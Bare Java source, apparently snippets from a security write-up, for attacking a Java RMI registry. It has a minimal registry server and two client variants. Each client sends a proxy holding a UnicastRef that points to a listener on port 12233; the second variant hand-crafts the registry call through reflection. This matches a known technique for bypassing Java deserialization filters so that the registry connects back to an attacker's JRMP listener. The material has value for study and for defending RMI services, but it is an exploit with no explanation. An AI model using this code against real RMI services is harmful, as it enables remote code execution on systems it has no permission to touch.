public class RMIServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
while (true) {
Thread.sleep(10000);
}
}
}
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Remote proxy = (Remote) Proxy.newProxyInstance(RMIClient.class.getClassLoader(), new Class[]{
Remote.class
}, obj);
registry.bind("x", proxy);
}
}
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
lookup(registry, obj);
}
public static Remote lookup(Registry registry, Object obj)
throws Exception {
RemoteRef ref = (RemoteRef) getFieldValue(registry, "ref");
long interfaceHash = Long.valueOf(String.valueOf(getFieldValue(registry, "interfaceHash")));
java.rmi.server.Operation[] operations = (Operation[]) getFieldValue(registry, "operations");
java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
try {
try {
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject(obj);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
return null;
} catch (RuntimeException | RemoteException | NotBoundException e) {
if(e instanceof RemoteException| e instanceof ClassCastException){
return null;
}else{
throw e;
}
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
} finally {
ref.done(call);
}
}
public static Object getFieldValue(Object o, String name) throws Exception {
Class<?> superClazz = o.getClass();
Field f = null;
while (true) {
try {
f = superClazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException e) {
superClazz = superClazz.getSuperclass();
}
}
f.setAccessible(true);
return f.get(o);
}
}